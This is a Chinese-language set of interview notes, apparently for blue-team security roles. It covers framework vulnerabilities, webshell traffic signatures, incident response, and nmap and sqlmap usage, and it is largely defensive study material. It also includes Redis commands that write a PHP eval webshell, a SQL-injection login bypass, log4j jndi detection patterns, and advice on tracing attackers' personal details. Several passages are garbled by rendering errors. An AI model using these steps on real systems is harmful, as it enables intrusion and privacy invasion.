Spring Security OAuth2是为Spring框架提供安全认证支持的一个模块。Spring Security OAuth2处理认证请求的时候如果使用了whitelabel views,response_type参数值会被当做Spring SpEL来执行,攻击者可以在被授权的情况下通过构造response_type值也就是通过构造恶意SpEL表达式可以触发远程代码执行漏洞。故是在需要知道账号密码的前提下才可以利用该漏洞。
Struts框架漏洞
原理:
Struts2是一款基于Java开发的框架,web路径下会出现两种特殊的文件格式,即*.action文件与*.jsp文件;
现阶段已知的S2poc大多数都是远程命令执行漏洞,主要出现位置有:url中,报文内容中,content-type中;
攻击特征
1.content-type出现异常字段,非MIME类型标识
2.字段格式为典型的注入代码格式%{ognl}
3.存在命令执行方法java.lang.ProcessBuilder().start()
4.执行命令“whoami”,返回包中返回执行成功信息“root”
5.出现类似于“3345*23565”的日志,通常都是扫描器扫描的日志
ThinkPHP框架漏洞
原理:
thinkphp是一个国内轻量级的开发框架,采用php+apache,在更新迭代中,thinkphp也经常爆出各种漏洞,thinkphp一般有thinkphp2、thinkphp3、thinkphp5、thinkphp6版本,前两个版本已经停止更新,主要介绍下thinkphp5的漏洞
ThinkPHP 5.0 命令执行漏洞
ThinkPHP 5.x 命令执行漏洞
攻击特征:
1.访问URL:/index/think\app/invokefunction
2.关键PHP函数:call_user_func_array、system、exec、shell_exec、eval
Shiro框架漏洞
原理:
Shiro默认使用了CookieRememberMeManager, 其处理cookie的流程是: 得到rememberMe的cookie值–>Base64解码–>AES解密–>反序列化.然而AES的密钥是硬编码的, 密钥泄漏的根本原因是开发人员在开发过程中部分代码直接使用了网上的一些开源的项目代码,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。
Apache Shiro框架提供了记住我的功能(RemeberMe),⽤户登录成功后会⽣成经过加密并编码的cookie。
cookie的key为RemeberMe,cookie的值是经过对相关信息进⾏序列化,然后使⽤aes加密,最后在使⽤base64编码处理形成的
攻击手法:
在服务端接收cookie值时,按以下步骤解析:
检索RemeberMe cookie的值
Base 64解码
使⽤ACE解密(加密密钥硬编码)
进⾏反序列化操作(未作过滤处理)
在调⽤反序列化的时候未进⾏任何过滤,导致可以触发远程代码执⾏漏洞
⽤户登陆成功后会⽣成经过加密并编码的cookie,在服务端接收cookie值后,Base64解码–>AES解密–>反序列化。攻击者只要找到AES
加密的密钥,就可以构造⼀个恶意对象,对其进⾏序列化–>AES加密–>Base64编码,然后将其作为cookie的rememberMe字段发送,Shiro将rememberMe进⾏解密并且反序列化,最终造成反序列化漏洞。只要rememberMe的AES加密密钥泄露,⽆论shiro是什么版本都会导致反序列化漏洞
攻击特征:
1.cookie头的rememberMe字段超长
2.解密rememberMe可获取异常信息
在线解密网站:https://vulsee.com/tools/shiroDe/shiroDecrypt.html https://simolin.cn/tools/shiro/
3.若有回显,可以看到执行的相关命令和回显结果
shiro反序列化漏洞的修复
1、删除代码里的默认密钥
2、默认配置里注释了默认密钥
3、升级shiro到1.2.5及以上
4、如果在配置里配置了密钥,那么请一定不要使用网上的密钥,一定不要!!
请自己base64一个AES的密钥,或者利用官方提供的方法生成密钥:org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()
30. 在https网站中sqlmap连接失败怎么办?
使用sqlmap注入https的网站时,如果没有进行任何处理则会报错如下,连接不了目标。就是因为ssl证书的原因,而且sqlmap它是不能自动伪造ssl证书的 –force-ssl
通过本地代理端口进行访问
1. burp开启代理监听端口
监听的ip为现在使用的网卡的ip,端口输入如8081
2. 使用–proxy参数
如下进行代理,成功解决ssl报错的问题
31. Windows应急外联?
1检查系统账号安全
2检查异常的进程和端口
3检查系统启动项、计划任务、服务
4检查系统基础信息
5系统版本和补丁情况
6常见可疑目录位置USERS RECENT等
7本地查杀
8结合流量分析设备分析流量,或利用wireshark抓取数据包分析。
- 公司内网连接到了不良外部连接怎么做?
获取攻击IP,先用IP反查,是否有邮箱,手机信息泄露,通过这些去获取攻击者的社交、购物平台等的信息,最终找到攻击者的姓名,地址,家庭,单位等信息
文件上传漏洞判断是否成功没(看位置)
URL,先上传一个正常的文件,查看他的位置,后面所有上传的文件都在那个位置
清理内存马tomcat
Connector处理部分
NioEndpoint$SocketProcessor -> Http11Processor -> CoyoteAdapter,通过CoyoteAdapter的service方法,完成org.apache.coyote.Request -> org.apache.catalina.connector.Request (实现了HttpServletRequest)和org.apache.catalina.connector.Response (实现了HttpServletResponse)的转换。
33.Csrf和ssrf的攻击原理及如何使用
ssrf,用户通过网站控制有ssrf漏洞的服务器,以这个服务器为跳板机,向与服务器连接的内网进行攻击,攻击内网服务器
攻击者利用SSRF可以实现的攻击主要有五种 :
1可以对外网服务器所在的内网本地进行端口扫描,获取一些服务的banner信息
2攻击运行在内网或者本地的应用程序比如溢出
3对内网的web应用进行指纹识别,通过访问默认文件识别
4攻击内外网的web应用,主要是通过get参数就可以实现的攻击
5利用file协议读取本地文件
Ssrf利用函数:
file_get_contents():将整个文件或一个url所指向的文件读入一个字符串中。
readfile():输出一个文件的内容。
fsockopen():打开一个网络连接或者一个Unix 套接字连接。
curl_exec():初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函数使用。
fopen():打开一个文件文件或者 URL。
Csrf跨站请求伪造,攻击者通过用户的浏览器来注入额外的网络请求,控制浏览器发送攻击者精心构造的恶意请求。
· 菜刀流量特征
(最开始是明文传输,后来采用base64加密):PHP类WebShell链接流量
如下图:
第一:“eval”,eval函数用于执行传递的攻击payload,这是必不可少的;
第二:(base64_decode(KaTeX parse error: Undefined control sequence: \[ at position 7: \_POST\̲[̲z0\])),(base64\…_POST[z0]))将攻击payload进行Base64解码,因为菜刀默认是使用Base64编码,以避免被检测;
第三:&z0=QGluaV9zZXQ…,该部分是传递攻击payload,此参数z0对应$_POST[z0]接收到的数据,该参数值是使用Base64编码的,所以可以利用base64解码可以看到攻击明文。
注:
1.有少数时候eval方法会被assert方法替代。
- _ P O S T 也会被 \_POST也会被 _POST也会被_GET、$_REQUEST替代。
3.z0是菜刀默认的参数,这个地方也有可能被修改为其他参数名。
蚁剑(PHP用base64加密):
34.PHP类WebShell链接流量
将蚁剑的正文内容进行URL解码后,流量最中明显的特征为@ini_set(“display_errors”,“0”);这段代码基本是所有WebShell客户端链接PHP类WebShell都有的一种代码,但是有的客户端会将这段编码或者加密,而蚁剑是明文,所以较好发现,同时蚁剑也有eval这种明显的特征。
35.蚁剑绕过特征流量
由于蚁剑中包含了很多加密、绕过插件,所以导致很多流量被加密后无法识别,但是蚁剑混淆加密后还有一个比较明显的特征,即为参数名大多以“_0x…=”这种形式(下划线可替换为其他)所以,以_0x开头的参数名,后面为加密数据的数据包也可识别为蚁剑的流量特征。
冰蝎(AES对称加密):
通过HTTP请求特征检测
1、冰蝎数据包总是伴随着大量的content-type:application什么什么,无论GET还是POST,请求的http中,content-type为application/octet-stream;
2、冰蝎3.0内置的默认内置16个ua(user-agent)头
3、content-length 请求长度,对于上传文件,命令执行来讲,加密的参数不定长。但是对于密钥交互,获取基本信息来讲,payload都为定长
哥斯拉(base64加密):
特征检测
1、发送一段固定代码(payload),http响应为空
2、发送一段固定代码(test),执行结果为固定内容
3、发送一段固定代码(getBacisInfo)
- Xml外部实体原理
上传XML文档或者在XML文档中添加恶意内容,通过易受攻击的代码,依赖项或集成,他们就能够攻击含有缺陷的XML处理器。XXE缺陷可用于提取数据,执行远程服务器请求,扫描内部系统,执行拒绝服务攻击和其他攻击。
类型 xml外部实体 xml内部、自定义参数实体
37.判断sql注入是攻击还是误报?
。首先看响应包的长度,366成功,332失败,然后看SQL语句详细信息里看请求体,
。看url,如果是很明显的sql语句,里面加一些单引号,分号,双重破折号,大概率为攻击,如果只是多了一些字母,数字就是误报。
。查看攻击样本
。看它一定时间内同一ip地址访问的次数、访问的内容
。看它访问的时间(在凌晨俩三点访问邮箱输错账号密码)
。看它Ip源地址(外国ip的话有可能就是使用了代理池)
。数据头中包含的url,可以拿到沙箱测试,如果这个网站没有问题就是误报
38.用过什么设备?
态势感知厂商:奇安信 腾讯 阿里 深信服 绿盟 启明星辰 安恒 青藤云 等。
模块:分析中心,处置中心,日志中心,监控中心
态势感知:基于日志和流量报的警
态势感知使用方法:处置中心里有服务器被攻击的详细信息,例如标记为高威胁,高可疑,就应该查看其详细信息,看请求头,请求体,响应头,分析攻击的真实性,例如发现很明显的sql注入语句或暴力破解,xss等攻击行为,第一时间上报研判,封禁ip
常见的数据库端口号
1433 MsSQL
1521 Oracle
3306 MySQL
6379 Redis
27017 MongoDB
- 常用哪些模块?
代理、测试器、重发器、编码器
41.渗透测试工具
APPSCAN MSF Nmap
42.mysql 5.0以上和5.0以下区别
MySQL5.0以上版本存在一个叫information_schema的数据库,它存储着数据库的所有信息,其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型和访问权限等。而5.0以下没有。
information_schema
系统数据库,记录当前数据库的数据库,表,列,用户权限信息
- linux命令
用户信息文件 /etc/passwd
影子文件 /etc/shadow #存储Liunx系统中的用户的密码信息
普通用户历史记录 .bash_history
开机启动项配置文件 /etc/rc.local
/etc/rc.d/rc[0~6]
日志默认存放位置 /var/log/
重点关注以下目录是否存在恶意脚本
然后根据进程看进程号
进程号定位到路径,找到执行脚本
查看计划任务 ,锁定、降权、删除 复制
指定攻击策略,规则
more /etc/cron.daily/* 查看目录下所有文件
44.如何在态感上面分析网站流量是否为工具扫描
工具扫描的流量一般是在短时间内迸发出大量的有规律的数据包
45.如何判断攻击流量?
n检测流量检测流量的协议和字段
判断攻击流量:分析上报流量特征,与正常业务的异同,进而推断出是否为真实攻击。如果无法判断是否是真实攻击,需联系客户方运维、研发联合排查。
- 基线加固流程(做什么)
- nmap怎么被动扫描
nmap:主机发现、端口扫描、服务及版本探测、操作系统探测等功能。除此之外,还可以实现一些高级的审计技术(如:伪造发起扫描端的身份、进行隐蔽扫描、规避目标的防御设备、对系统进行安全漏洞检测并提交完善的报告选项等)。
使用nmap对目标主机进行审计,最终能获得如下信息:
①目标主机是否在线;
②目标主机所在网络的结构;
③目标主机开放的端口;
④目标主机所使用的操作系统;
⑤目标主机所运行的服务及版本;
⑥目标主机所存在的漏洞;
基本用法:
(1)单个主机进行扫描:nmap 目标IP地址(192.168.1.10)
(2)多个主机进行扫描:nmap 目标IP1(192.168.1.100) 目标IP2(192.168.1.200)
(3)连续范围进行扫描:nmap IP地址范围(192.168.1.100-255)
(4)对整个子网进行扫描:nmap IP地址/掩码位数:nmap 192.168.1.10/24
· 进行主机发现:
跳过ping扫描阶段:nmap -PN 目标主机(192.168.1.100)
仅使用ping协议进行主机发现:nmap -sP 目标主机IP(192.168.1.100)
使用arp协议进行主机发现:nmap -PR 目标主机(192.168.1.100)只能使用于该扫描主机所在子网的目标主机
使用TCP协议进行主机发现:nmap -sS 目标主机IP(192.168.1.100)半连接扫描
nmap -sT 目标主机IP(192.168.1.100)全连接扫描
- 使用UDP协议进行主机发现:nmap -sU 目标主机IP(192.168.1.100)
· 使用nmap进行端口发现:
扫描全部端口:nmap -p “*” 目标主机(192.168.1.100)
扫描n个端口:nmap --top-port n 目标主机(192.168.1.100)
扫描指定端口:nmap -p 端口号(80) 目标主机(192.168.1.100
· 使用nmap扫描目标操作系统:
Nmap -O 目标主机(192.168.1.100)
· 使用nmap扫描目标服务:
Nmap -sV 目标主机IP(192.168.1.100)
· 使用nmap的扫描结果保存为XML文件
Nmap -oX 文件名 目标主机IP(192.168.1.100)
· 穿透防火墙
Nmap -Pn A 192.168.1.100
- 如何发现有没有横向行为?
如何发现:攻击者以被攻陷的系统为跳板,访问其他域内主机,扩大资产范围(包括跳板机器中的文档和存储的凭证,以及通过跳板机器连接的数据库、域控制器或其他重要资产),最终可能获取域控制器的访问权限,甚至完全控制基于Windows操作系统的基础设施和与业务相关的关键账户。
- 用过什么检测流量的设备
科莱 wireshark(抓取流量数据包进行网络协议分析)
50.一个sql语句中有SLEEP这个算不算攻击?
算 是延时
51.webshell上传后怎么发现
1.对脚本文件中出现的关键词和高危函数、文件的修改时间、文件权限、文件的所有者以及和其他文件的关联性等多个维度的特征进行检测。
2.通过网页木马运行时使用的系统命令或网络流量及状态的异常来判断动作的威胁程度。比如可以检测敏感的操作系统命令和数据库执行指令等。
3.使用网页木马会在网站的web日志中留下木马页面的访问数据和数据提交记录。通过大量的日志文件建立请求模型从而检测出异常文件。
52.事件上报都有哪些点
源ip、事件类型、流量分析(全流量)、有样本需附上样本及分析报告,不能只截设备告警图,建立快速沟通渠道,避免耽误上报时间(提交给研判组)
53.log4j 2主要区分是否为攻击的手段为查看相关报警、流量、Payload
http://www.manongjc.com/detail/27-gxxumdsbrlhdltb.html
具体的特征是
req_full_url:”KaTeX parse error: Expected ‘}’, got ‘EOF’ at end of input: …eq\_full\_url:”{jndi:ldaps” || req_full_url:”KaTeX parse error: Expected ‘}’, got ‘EOF’ at end of input: …eq\_full\_url:”{jndi:iiop” || req_full_url:”KaTeX parse error: Expected ‘}’, got ‘EOF’ at end of input: …eq\_full\_url:”{jndi:corbaname” || req_full_url:”KaTeX parse error: Expected ‘}’, got ‘EOF’ at end of input: …eq\_full\_url:”{jndi:nis” || || req_payload:”KaTeX parse error: Expected ‘}’, got ‘EOF’ at end of input: … req\_payload:”{jndi:ldaps” || req_payload:”KaTeX parse error: Expected ‘}’, got ‘EOF’ at end of input: … req\_payload:”{jndi:iiop” || req_payload:”KaTeX parse error: Expected ‘}’, got ‘EOF’ at end of input: … req\_payload:”{jndi:corbaname” || req_payload:”KaTeX parse error: Expected ‘}’, got ‘EOF’ at end of input: … req\_payload:”{jndi:nis”
jndi:ldap
jndi:ldaps
jndi:rmi
jndi:iiop
jndi:iiopname
jndi:corbaname
jndi:dns
jndi:nis
54.webshell检测,有哪些方法
grep、关键词、关键函数
安全狗、D盾
动态检测、静态检测、日志检测
静态检测
静态检测通过匹配特征码,特征值,危险函数函数来查找webshell的方法,只能查找已知的webshell,
动态检测
webshell传到服务器了,黑客总要去执行它吧,webshell执行时刻表现出来的特征,我们称为动态特征。
日志检测
使用Webshell一般不会在系统日志中留下记录,但是会在网站的web日志中留下Webshell页面的访问数据和数据提交记录。
语法检测
语法语义分析形式,是根据php语言扫描编译的实现方式,进行剥离代码、注释,分析变量、函数、字符串、语言结构的分析方式,来实现关键危险函数的捕捉方式。这样可以完美解决漏报的情况。但误报上,仍存在问题。
55.python用哪些库?打印字符用哪个函数?
56.蜜罐捕捉到攻击者的手机号,如何溯源攻击者信息?什么思路?
获取到攻击IP后,先试用IP反查,查询此IP是否存在邮箱,手机信息泄露之类的,通过邮箱,手机号去获取攻击者信息。
怎么进行ip反查?
社会工程学
- 一个网站有账号 密码 和验证码三个地方怎么爆破?
用burp看看能不能验证码爆破,如果能爆破就行,无法爆破就没辙了
58.你做过的护网项目的级别
护网一般按照行政级别分为国家级护网、省级护网、市级护网
59.了解哪些漏洞?
Sql注入、XSS跨站脚本攻击、CSRF、SSRF等
60.应急响应流程:
1.事件的分类 攻击事件发生后,首先要对事件进行分类,分析攻击属于哪种类型以便针对 性的进行处置
2.排查思路 分析完攻击事件的类型之后,要针对该事件进行排查,寻找是否存在异常情 况
3.分析排查
1.文件分析 2.进程命令分析 3.系统信息分析 4.使用工具chkrootkit rkhunter进行后门排查 1.准备相关的工具,查后门等工具 2.初步判断事件类型,事件等级。3.抑制范围,隔离使爱害面不继续扩大 4.查找原因,封堵攻击源。5.业务恢复正常水平. 6.总结,报告,并修复、监控
- Windows Linux 日志文件怎么查看?
Windows可以在事件查看器,分析应用程序日志,系统日志,安全日志
Linux在/var/log/目录下包含应用程序日志,系统日志,安全日志。
应用程序日志:包含应用程序或者应用程序记录的事件。系统日志:它记录驱动程序、系统组件和应用程序的崩溃以及数据丢失错误。安全日志:记录系统的安全审计事件,是调查中最常用到的日志。
62.常见的IPS阻断场景有四种:
1)可以建立TCP连接,检查客户端发出的
HTTP请求中的特征,如匹配则发rst阻断或
HTTP响应替换,用于域名封禁或Web攻击
防护;
2)不让建立TCP连接,即客户端发syn包8
IPS直接回rst,同时后续如有ack包会双向
回rst阻断,用于访问控制或端口封禁:
3)DNS查询场景,伪造DNS响应,劫持网
站域名用于封禁或者钓鱼攻击;
4)UDP传输场景下,伪造ICMP响应,告知
客户端UDP端口不可达。
对于1,可以从两方面入手:在应用层,一般
利用IPS和WebServer对HTTP语法的理解差
异;在网络层,一般利用IPS和操作系统协议栈
对TCP/IP的处理方式差异,后文会讨论,,
2,暴露面比较窄,绕过会困难一点,但也不
63.linux中了木马怎么处理?怎么到后台查找相关进程?
1、cat /etc/passwd 未发现陌生用户和可疑root权限用户。
2、netstat -anp 查看所有进程及pid号,未发现异常连接。
3、last 查看最近登录用户,未发现异常
4、cat /etc/profile 查看系统环境变量,未发现异常
5、ls -al /etc/rc.d/rc3.d ,查看当前级别下开机启动程序,未见异常(有一些脸生,只好利用搜索引擎了)
6、crontab -l 检查计划任务,root用户和web运行用户各检查一遍,未见任何异常
7、cat /root/.bashrc 和 cat /home/用户/.bashrc 查看各用户变量,未发现异常
8、查看系统日志。主要是/var/log/messages(进程日志)、/var/log/wtmp(系统登录成功日志 who /var/log/wtmp)、/var/log//bmtp(系统登录失败日志)、/var/log/pureftpd.log(pureftpd的连接日志),未发现异常(考虑到了可能的日志擦除,重点看了日志的连续性,未发现明显的空白时间段)
9、history 查看命令历史。cat /home/用户/.bash_history 查看各用户命令记录,未发现异常
10、系统的查完了,就开始查web的。初步查看各站点修改时间,继而查看各站点的access.log和error.log(具体路径不发了 ),未发现报告时间前后有异常访问。虽有大量攻击尝试,未发现成功。
11、日志分析完毕,查找可能存在的webshell。方法有两个,其一在服务器上手动查找;其二,将web程序下载到本地使用webshellscanner或者web杀毒等软件进行查杀。考虑到站点较多,数据量大,按第一种方法来。在linux上查找webshell基本两个思路:修改时间和特征码查找。特征码例子:find 目录 -name “*.php”(asp、aspx或jsp) |xargs grep “POST[(特征码部分自己添加)” |more 修改时间:查看最新3天内修改的文件,find 目录 -mtime 0 -o -mtime 1 -o -mtime 2 当然也可以将两者结合在一起,find 目录 -mtime 0 -o -mtime 1 -o -mtime 2 -name “*.php” 的确查找到了一些停用的站点下有webshell
--------
查找全站关键字:“pack”、“eval”
- Linux中挖矿病毒应该如何处理?
症状表现:服务器CPU一直处于100%的状态,通过top命令查看,发现可疑进程kdevtmpfsi.通过谷歌搜索,发现这是挖矿病毒(CPU资源占用过高)
排查方法:第一步,查看kdevtmpfsi进程,使用命令ps -ef |grep kevtmpfsi 查看,通过ps -ef查出kdevtmsfi的进程号,直接kill -9 进程号,并删除/tmp/kdevtmpfsi的执行文件,但没过一分钟进程又运行了,这时就能想到,kdevtmpfsi,有守护程序或者计划任务,crontab -l(音译:康忒普)查看是否有可疑的计划任务
第二步:根据上面的结果知道kdevtmpfsi的进程号是10393,使用systemctl status 10393 发现kdevtmpfsi有守护进程。
第三步:kill掉kdevtmpfsi的守护进程 kill -9 30903 30904,在kill -9 kdevtmpfsi挖矿病毒,最后删除kdevtmpfsi执行程序rm -f /tmp/kdevtmpfsi.
事后检查
通过find / -name "*kdevtmpfsi*"命令搜索是否还有kdevtmpfsi文件,查看Linux ssh 登录审计日志,centos 和redhat 的审计日志路径为/var/log/secure 检查crontab是否有可疑计划任务。
后期防护
启用SSH公钥登录,禁用密码登录
云主机,完善安全策略,入口流量,一般开放80 443端口就行,出口流量可以默认不限制,如果有需求可以根据需求来限制,物理机,可以通过硬件防火墙或者机器上IPTABLES来开放出入口流量规则。本机不是直接需要对外提供服务,可以拒绝外网卡入口所有流量,通过jumper机器内网登录业务机器。
公司有能力可以搭建安全扫描服务,定期检查机器上漏洞并修复
小结,以上只是列举几点措施,不全,更多的措施需要结合自己业务的实际情况,否则就是空中阁楼。
处理:
查看服务器资源占用,找到恶意进程及文件位置,查看是否有守护进程或者计划任务,扎到,清除。
- 内网判断端口扫描的行为
通过端口扫描主要用于得到端口的banner信息、端口上运行的服务、发现常见应用的默认端口。
- 利用telnet进行端口扫描
快速探测主机是否存在常见的高危端口
2、Metasploit端口扫描
Metasploit渗透测试利器,提供了很多漏洞利用、扫描功能。
auxiliary/scanner/portscan/ack ACK防火墙扫描
auxiliary/scanner/portscan/ftpbounce FTP跳端口扫描
auxiliary/scanner/portscan/syn SYN端口扫描
auxiliary/scanner/portscan/tcp TCP端口扫描
auxiliary/scanner/portscan/xmas TCP"XMas"端口扫描使用auxiliary/scanner/portscan/tcp模块示例
nmap扫描
端口利用
6.PowerSploit的Invoke-portscan.ps1
无文件形式扫描:
- sqlmap是get型用什么参数,
sqlmap -u 注入的网站
- 态势感知里面如何查看攻击端口:
在分析中心里面的日志 点击详情 就可以看到攻击的端口
- ssrf漏洞发现6379端口该怎么继续
由于Redis默认使用6379号端口,并且Redis默认是空密码而且默认允许远程连接。一些粗心的网络管理员在安装好Redis后,并没有去修改他的默认端口,而且也没有给他设置密码的话。这就让黑客有了可乘之机,黑客可以远程连接到该数据库。并且,如果Redis是以root身份运行的话,那么黑客就可以通过Redis数据库进行写入任何文件进行提权,从而操控该服务器。
69.应急响应和溯源用的哪些命令
1、账号相关
[root@localhost ~]# awk -F: ‘$3==0{print $1}’ /etc/passwd
[root@localhost ~]# awk ‘/\$1|\$6/{print $1}’ /etc/shadow
- 程序相关
需要查看当前异常系统进程,及额外开放端口。
#查看当前开放端口
netstat -tnlp
#查看当前系统上运行的所有进程
ps -ef
#查看进程
ps aux | grep pid
#可以直接看到进程实时情况
Top
#查看cpu占用率前十的进程,互补top
ps aux --sort=pcpu | head -10
- 日志相关
日志默认存放位置:/var/log/
查看日志配置:more /etc/rsyslog.conf
#查看系统的成功登录、关机、重启等 /var/log/wtmp
#查看登陆失败的用户日志 /var/log/btmp
70.sqlmap加一些参数什么意思
当你使用 Sqlmap 对一个注入点是进行了测试时,可以使用 -v x参数指定回显信息的复杂度,x属于[0~6]:
共有 7 个等级,默认为 1:
0|只显示python错误以及严重的信息。
1|同时显示基本信息和警告信息。(默认)
2|同时显示debug信息。
3|同时显示注入的payload。
4|同时显示HTTP请求。
5|同时显示HTTP响应头。
6|同时显示HTTP响应页面。
检测位置:
-u – 指定url(GET请求)
-p – 指定参数(url包含多个参数时,指定参数)
–data= – 指定POST请求参数
–cookie – 指定cookie参数
-r – 从文件中加载HTTP请求(在需要检测的Header后面加上*)
获取数据:
–dbs – 获取数据库名
–tables – 获取表名
–columns – 获取字段名
–dump – 获取数据
-D – 指定数据库
-T – 指定表
-C – 指定字段
其他设置:
–batch – 自动化确认
–tamper – 指定脚本
–dbms – 指定数据库类型
–os – 指定操作系统(windows/linux)
–level – 指定探测等级(1~5)
–current-db – 获取当前数据库的名字
-b – 获取数据库版本信息
-f – 获取数据库指纹
–users – 当前使用的用户
–delay – 设置延时
–technique – 指定注入方式
U 联合注入
E 报错注入
B 布尔盲注
T 时间盲注
- 查看端口占用情况
windows查看端口的方法:1、使用“win+r”键打开“运行”窗口,输入“cmd”命令回车,进入命令提示符;2、在cmd窗口中输入“netstat -ano”命令回车,即可显示所有的端口占用情况。
Linux:
netstat -nltp | grep 端口号
-a:显示本机所有连接和监听地端口
-n:网络IP地址的形式,显示当前建立的有效连接和端口
-r:显示路由表信息
-s:显示按协议的统计信息
-v:显示当前有效的连接
-t:显示所有TCP协议连接情况
-u:显示所有UDP协议连接情况
-i:显示自动配置端口的状态
-l:仅仅显示连接状态为listening的服务网络状态
72、shell管理工具
- Weblogic中间件漏洞:
Weblogic漏洞利用总结 - 云+社区 - 腾讯云 (tencent.com)
影响版本:10.3.6.0.0,12.1.3.0.0,12.2.1.1.0,12.2.1.2.0
XMLDecoder反序列化漏洞:
Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。攻击者发送精心构造的xml数据甚至能通过反弹shell拿到权限。
漏洞影响版本:10.3.6.0、12.1.3.0、12.2.1.3
弱口令和任意文件上传漏洞:
原理:
利用任意文件读取来获取weblogic的弱口令登录进入后台,然后通过上传getshell,通过构造任意文件下载漏洞环境读取到后台用户名和密码,然后登陆进后台,上传webshell。
Ssrf漏洞:
Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。
SSRF漏洞可以通过篡改获取资源的请求发送给服务器,但是服务器并没有检测这个请求是否合法的,然后服务器以他的身份来访问其他服务器的资源。
漏洞影响范围
Oracle WebLogic Server 10.3.6.0
Oracle WebLogic Server 10.0.2.0
redis简介
Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API
它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。
- redis漏洞
Redis未授权访问:
Redis默认情况下,会绑定在0.0.0.0:6379,如果没有采用相关的策略,如配置防火墙规则避免其他非信任来源的IP访问,就会将Redis服务暴露在公网上;如果没有设置密码认证(一般为空)的情况下,会导致任意用户可以访问目标服务器下未授权访问Redis以及读取Redis数据。
漏洞复现:
·编辑redis配置文件redis.conf,允许本地外的主机登录redis服务
·修改protected-mode为no,关闭保护模式,允许远程连接redis服务,protected-mode是Redis3.2版本新增的安全配置项,开启后要求需要配置bind ip或者设置访问密码,关闭后是允许远程连接:重新启动redis
Redis写入webshell:
原理:靶机的redis存在未授权访问,并且开启了web服务,知道了web目录的路径,并且有文件读写增删改查的权限,即可通过redis在指定web目录下写入一句话木马,用菜刀连接可达到控制服务器的目的。
漏洞复现:
靶机kali里面开启web服务,如:/etc/init.d/apache2 start
在攻击机(kali)上执行下列命令:
config set dir /var/www/html/
//切换到网站的根目录
config set dbfilename zcc.php
//在磁盘中生成木马文件
set xxx “\n\n\n<?php @eval($\\\_POST\\\['zcc'\\\]);?>\n\n\n”
//写入恶意代码到内存中,这里的\n\n\n代表换行的意思,用redis写入文件的会自带一些版本信息,如果不换行可能会导致无法执行.
save
//将内存中的数据导出到磁盘此靶机网站根目录已经写入该文件:
蚁剑进行测试
Redis密钥登录ssh
原理:在数据库中插入一条数据,将本机的公钥作为value,key之随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在这里,这样就可以在服务器端端的的/root/.ssh下生成一个授权的key
漏洞复现:
利用条件:redis对外开放,且是未授权访问状态,并且redis服务ssh对外开放,可以通过key登入
利用计划任务反弹shell
原理:利用Redis未授权漏洞,可以通过写入文件到系统计划任务目录 /var/spool/cron下来执行。
- ssrf漏洞
服务器端请求伪造):是一种由攻击者构造形成由服务端发起请求的一个安全漏洞,SSRF的实质是利用存在缺陷的web应用作为代理攻击远程和本地的服务器。
危害:
1.内外网的端口和服务扫描
2.攻击运行在内网或本地的应用程序
3.对内网web应用进行指纹识别,识别企业内部的资产信息
4.攻击内网的web应用,主要是使用GET参数就可以实现的攻击(比如Struts2漏洞利用,SQL注入等)
5.利用file协议读取本地敏感数据文件等
防御方式:
1、过滤返回的信息,如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
2、统一错误信息,避免用户可以根据错误信息来判断远程服务器的端口状态。
3、限制请求的端口,比如80,443,8080,8090。
4、禁止不常用的协议,仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp://等引起的问题。
5、使用DNS缓存或者Host白名单的方式。
76、蜜罐
蜜罐的方式进行诱捕和攻击引流,我理想中的蜜罐应当是完全仿真,而不是动态针对部分服务的仿真。同时可以具备反制的功能,一是可溯源攻击者真实身份,二是可利用AWVS或者蚁剑这类黑客工具自己的漏洞反向攻击攻击者。相信后面会有大量的优秀产品脱颖而出。不过防守方真的真实部署后,可能半年也捕获不到一次有效攻击,毕竟这次是演习,平时黑客攻击还是少。不过安全就是如此,防患于未然。
77、研判
研判工作要充分利用已有安全设备(需要提前了解客户的网络拓扑以及部署设备情况),分析其近期的设备告警,将全部流量日志(日志条件:源地址,目的地址,端口,事件名称,时间,规则 ID,发生 次数等)根据研判标准进行筛选(像挖矿、蠕虫、病毒、拒绝服务这类不太可能为攻击方发起的攻击的事件,直接过滤掉,减少告警数量),一般情况下,真实攻击不可能只持续一次,它一定是长时间、周期性、多 IP 的进行攻击
对于告警结合威胁情报库如:微步、奇安信威胁情报中心、绿盟威胁情报云等对于流量日志的原 IP 地址进行分析,判断其是否为恶意攻击,推荐使用微步的插件,如果确认为攻击行为或者不能确认是否为攻击行为,进行下一步操作,在之前准备好的表格中查找 IP 是否为客户内网部署的设备,如果不是,继续进行下一步,在事件上报平台查看是否有其他人提交过,如果没有,则上报
然后根据流量日志,对请求数据包和返回数据包分析判断其是否为误报,需要留意 X-Forwarded-For(简称XFF)和 x-real-ip 可以了解些 webshell 工具的流量特征,尤其是免杀 webshell,有可能不会被设备识别
最后上报事件时,尽可能提供完整的截图,包括源 ip、目的ip,请求包请求体,响应包响应体等重要信息,以方便后续人员研判溯源
护网面试问题
- sql注入的手法(手注)
网站没有对用户请求参数的值进行任何过滤或转码,从而造成的注入漏洞。
举个简单的sql注入漏洞例子,比方说:当我们登录账号时,在账号后面加上 ’and 1=1;-- 然后随便输入一个密码,提交上去。
这个时候网站会构建一个select 语句发送给服务器进行验证。如果说网站对我们输入的内容没有进行过滤的话,那么这条sql语句
执行的时候就会以分号结束,破折号会把后面的密码给注释掉,从而构成永真式,然后直接能登陆成功。
- WAF的基本原理,接触过哪些各大厂商的WAF
